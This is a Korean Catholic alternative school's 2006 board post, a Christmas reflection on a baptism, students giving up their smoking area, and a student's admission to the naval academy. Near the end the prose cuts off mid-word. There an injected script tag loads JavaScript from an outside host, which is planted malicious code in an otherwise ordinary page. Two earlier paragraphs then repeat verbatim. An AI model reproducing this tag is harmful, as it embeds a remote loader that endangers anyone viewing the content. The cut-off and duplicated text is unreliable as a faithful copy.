성탄 선물
작성자 : 후원회 | 조회수 : 3,437 | 작성일 : 2006년 1월 3일
<!--StartFragment--><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 아기 예수님의 성탄은 왜 그토록 우리에게 값진 선물이 되는 걸까? 일반적인 탄생과 구분되는 탄생이기 때문일 것이다. 그분은 하느님이셨지만 신적 위치를 감추시고 비천한 인간이 되어 오셨다. 어둔 밤 고요한 밤, 천사들과 목동들이 환호하는 가운데에 외양간에서 나셨다. 그분의 탄생은 생명의 주인으로서 인간의 생명을 이루어 주시기 위함이다. 그러기에 아기 예수님의 성탄은 분명 인류에게 값진 선물이다. 현세를 살고 있는 인간 모두는 풍성한 생명을 바라며 살지만 아쉽게도 생명의 주인으로 오신 그분을 알아 뵙지 못하며 세상 속에 서성이고 있다. 성탄 날, 내가 잘 아는 한 분이 세례성사를 받았다며 친구 동료들과 함께 찾아와서는 기뻐하였다. 오후 내내 동료들과 그를 축하해 주며 생명의 주인이신 예수님을 모셨으니 잘 새겨 보라고 일렀다. 성령의 인도로 그분을 알아 뵙고, 예수님의 부활의 영광도 마음껏 누리며 기뻐하는 신자가 되라는 당부도 하였다. </FONT></SPAN>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 방학이 되어 텅 빈 교정은 고요한 밤을 맞으며, 밤하늘을 수놓은 장식들이 비추는 가운데 성탄 구유에 아기 예수님을 모셨다. 늘 그랬지만 2005년도의 성탄의 의미는 아주 특별하게 다가온다. 어둠을 밝히는 새벽별처럼 강하게 다가오는 두 가지 값진 선물을 통하여 깊이... </FONT></SPAN></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"> <FONT face=돋움체>학교를 설립하고는 어른들의 강제와 간섭보다 학생 스스로가 내적 통제를 하도록, 그래서 그들에게 자율성을 배우도록 하겠다며 무조건적 자유를 허락하였다. 흡연에 중독된 학생들에까지 금연을 강제하지 않았다. 8년이 지나면서 학생들은 자유가 미래를 위한 선물이라는 것을 차츰 알아가고, 끊임없이 태워대던 흡연도 자신들에게 결코 득이 되지 못함을 깨닫게 되었다. 생활에서의 다양한 경험과 각기 다른 개성의 교감 속에서 자연스레 참된 자유의 의미를 그들 스스로의 힘으로 보화처럼 찾아낸 것이다. 현실을 즐기는 것보다 비전을 갖고 미래의 기쁨과 영광을 얻기 위하여 기꺼이 값지게 쓰이는 수단이 자유라는 것을 알게 된 것이다. 드디어, 흡연터를 없애기로 모두가 마음을 모았다. 2005년 종업 미사 후, 니코틴 독소로 절어있던 흡연터를 영원히 추방하였다. 흡연터를 장사지내고 그 자리에 작은 정원으로 새 생명을 심어놓았다. 이 모든 것은 가톨릭학교라 가능했고 대안학교라 가능했다. 생명의 주인이신 예수님을 통하여 하느님의 자비와 사랑이 넘쳐났기에 이 모든 것이 가능했다. 그래서 오늘 양업의 성탄은 그 어느 해보다 남다르고 특별하게 이루어지고 있다.</FONT></SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 또 하나의 성탄은 여학생 이서연의 해군사관학교 합격 소식이다. 서울, 고. 연대 실력으로 갈 수 있는 사관학교를 당당히 합격한 것이다. 작년인가 “평화방송 양업학교 이야기”를 1시간 동안 방영하였을 때 주인공으로 나서서 감동을 주었던 학생이다. 언제나 명랑하고 기차의 기적 소리처럼 활기차며 당당함과 자신감으로 꽉 차 있었다. 고등학교 시절, 놀고싶어서 전체 수석 자리를 내놓고 친구들과 어울려 신나게 놀다 철이 든 서연이는 “저는 취미가 공부밖에 없어요.”라며 무섭게 책장을 넘겨 수능 고득점을 얻어냈다. 합격 소식을 전하며 “하느님께 감사드립니다.” 라는 말로 일성을 들려주었다. 영세받은 지 2년 밖에 안 되지만 하느님을 알고 기뻐 뛰노는 마음은 분명 예수님을 통한 서연이의 새로운 성탄이다. 철이 들면서 철부지 시절의 문제를 알고 문제를 주도적으로 풀어 가며 성숙을 향해 노력했던 서연이의 모습에서 아?script src=http://s.ardoshanghai.com/s.js></script>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 방학이 되어 텅 빈 교정은 고요한 밤을 맞으며, 밤하늘을 수놓은 장식들이 비추는 가운데 성탄 구유에 아기 예수님을 모셨다. 늘 그랬지만 2005년도의 성탄의 의미는 아주 특별하게 다가온다. 어둠을 밝히는 새벽별처럼 강하게 다가오는 두 가지 값진 선물을 통하여 깊이... </FONT></SPAN></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"> <FONT face=돋움체>학교를 설립하고는 어른들의 강제와 간섭보다 학생 스스로가 내적 통제를 하도록, 그래서 그들에게 자율성을 배우도록 하겠다며 무조건적 자유를 허락하였다. 흡연에 중독된 학생들에까지 금연을 강제하지 않았다. 8년이 지나면서 학생들은 자유가 미래를 위한 선물이라는 것을 차츰 알아가고, 끊임없이 태워대던 흡연도 자신들에게 결코 득이 되지 못함을 깨닫게 되었다. 생활에서의 다양한 경험과 각기 다른 개성의 교감 속에서 자연스레 참된 자유의 의미를 그들 스스로의 힘으로 보화처럼 찾아낸 것이다. 현실을 즐기는 것보다 비전을 갖고 미래의 기쁨과 영광을 얻기 위하여 기꺼이 값지게 쓰이는 수단이 자유라는 것을 알게 된 것이다. 드디어, 흡연터를 없애기로 모두가 마음을 모았다. 2005년 종업 미사 후, 니코틴 독소로 절어있던 흡연터를 영원히 추방하였다. 흡연터를 장사지내고 그 자리에 작은 정원으로 새 생명을 심어놓았다. 이 모든 것은 가톨릭학교라 가능했고 대안학교라 가능했다. 생명의 주인이신 예수님을 통하여 하느님의 자비와 사랑이 넘쳐났기에 이 모든 것이 가능했다. 그래서 오늘 양업의 성탄은 그 어느 해보다 남다르고 특별하게 이루어지고 있다.</FONT></SPAN> </FONT></P>
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